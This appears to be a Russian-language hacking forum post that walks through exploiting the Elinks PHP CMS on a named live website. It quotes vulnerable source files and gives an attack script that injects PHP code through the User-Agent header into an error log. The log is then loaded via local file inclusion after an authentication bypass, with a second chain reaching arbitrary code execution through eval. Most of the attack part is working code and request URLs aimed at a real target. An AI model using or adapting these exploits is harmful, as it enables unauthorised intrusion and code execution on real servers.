Сообщение от
xcedz
[INDENT]Еще вариант.
Имеется файл .htaccess смотрим пути,
в нашем случае была такая строчка
...modules/content/pub.content.php?url=/celebs/view&view=[sql inj]
угу, только по дефолту там в
./modules/.htaccess
PHP код:
Options -Indexes
php_flag short_open_tag Off
<Files *.php>
Order deny,allow
Deny from all
</Files>
<Files *.ini>
Order deny,allow
Deny from all
</Files>
<Files pub.*.php>
Order deny,allow
Allow from all
</Files>
так что по дефолту вряд ли такое пройдет =)
теперь мое прохождение:
Elinks LFI
1. Логинимся в asm_admin.php с любым логином и паролем;
2. получаем сообщение о неверном пароле, но, тем не менее, $_SESSION['user']['member_id']) становится равным 0
3.
./core/asm_config.php
PHP код:
if ( strpos($_SERVER['HTTP_USER_AGENT'], 'vdebug') ) { set_error_handler('error_handler'); }
function error_handler ($errno, $errmsg, $filename, $linenum, $vars)
{ // BEGIN function
if ($errno == 2048 || error_reporting() == 0) { return true; }
$error_file = $_SERVER['DOCUMENT_ROOT'].'/files/logs/error.xml';
$_request_url = (true == isset($_SERVER['REQUEST_URI'])) ? 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] : 'http://'.$_SERVER['HTTP_HOST'].'/';
$_http_referer = (true == isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : '';
$_remote_addr = (true == isset($_SERVER['REMOTE_ADDR'])) ? $_SERVER['REMOTE_ADDR'] : '';
$_http_user_agent = (true == isset($_SERVER['HTTP_USER_AGENT'])) ? $_SERVER['HTTP_USER_AGENT'] : '';
$error_content = '
<error date="'.date("Y-m-d H:i:s").'">
<request_url>'.$_request_url.'</request_url>
<http_referer>'.$_http_referer.'</http_referer>
<remote_addr>'.$_remote_addr.'</remote_addr>
<http_user_agent>'.$_http_user_agent.'</http_user_agent>
<error_number>'.$errno.'</error_number>
<error_message>'.$errmsg.'</error_message>
<file_name>'.$filename.'</file_name>
<line_number>'.$linenum.'</line_number>
</error>
</xml>';
$fp = @fopen($error_file, 'r+');
if ($fp) {
$cursor_position = filesize($error_file)-7;
fseek($fp, $cursor_position);
fwrite($fp, $error_content);
fclose($fp);
} else {
$fp = fopen($error_file, 'w');
if ($fp) {
fwrite($fp, "<xml>\n".$error_content);
fclose($fp);
}
}
4. под этот код небольшой хттп-пакет с помощью скрипта
PHP код:
<?
set_time_limit (0);
$site='yobt.com';
$path='/asm_admin.php?update=1';
$fp = fsockopen($site, 80, $errno, $errstr, 30);
$out = "GET $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: Opera vdebug <?php phpinfo() ?>\r\n"; //тут наш код для инклуда
$out .= "Referer: http://laa.com\r\n";
$out .= "Cookie: 1=2;\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp))
{
print fread($fp, 4800);
}
print $out;
?>
вместо
asm_admin.php?update=1 другой любой файл, который генерирует ошибку похапе (для данного сайта подойдет http://yobt.com/asm.pornstars.search.php);
5. наше пхпинфо, как и прописано в коде, добавляется в ./files/logs/error.xml;
6. в ./asm_clean.php успешно проходим авторизацию
PHP код:
if (isset($_SESSION['user']['member_id']) != '1' && SERVER_IP != $_SERVER['REMOTE_ADDR']) {
die('Access denied');
}
(так как логинились ранее в админке и переменная $_SESSION['user']['member_id'] существует);
7. идем ниже по коду и видим
PHP код:
if (false == isset($_GET['asm'])) { die('Map command not found'); }
$file = base64_decode($_GET['asm']);
...
include(PATH.$file);
8. остается только заинклудить наш error.xml =)
по ссылке
http://yobt.com/asm_clean.php?asm=L2ZpbGVzL2xvZ3MvZXJyb3IueG1s видим вывод пхпинфо (если, конечно, авторизовались, как я писал выше)
---------------
Elinks arbitrary code execution
(для данного сайта не подойдет, так как админы из дистрибутива удалили дефолтный файл ./core/asm_xml_content.php, но все же)
1.
./core/asm_xml_content.php
PHP код:
<?php
error_reporting(7);
$page = (true == isset($_GET['page'])) ? $_GET['page'] : 'index';
$page = $_SERVER['DOCUMENT_ROOT'].'/files/tpl/'.$page.'.xml';
if (true == file_exists($page)) {
$filemtime = filemtime($page);
$filemtime = ($filemtime > 10000) ? $filemtime : time()+3600;
$fp = fopen($page, 'r');
$content = fread($fp, filesize($page));
fclose($fp);
$content = "?>".$content."<?php ";
ob_start();
eval ($content);
2. Добавляем в ./files/error.xml наш похапе способом, описанным выше;
3. Выполняем наш код через
http://elinks/core/asm_xml_content.php?page=../logs/error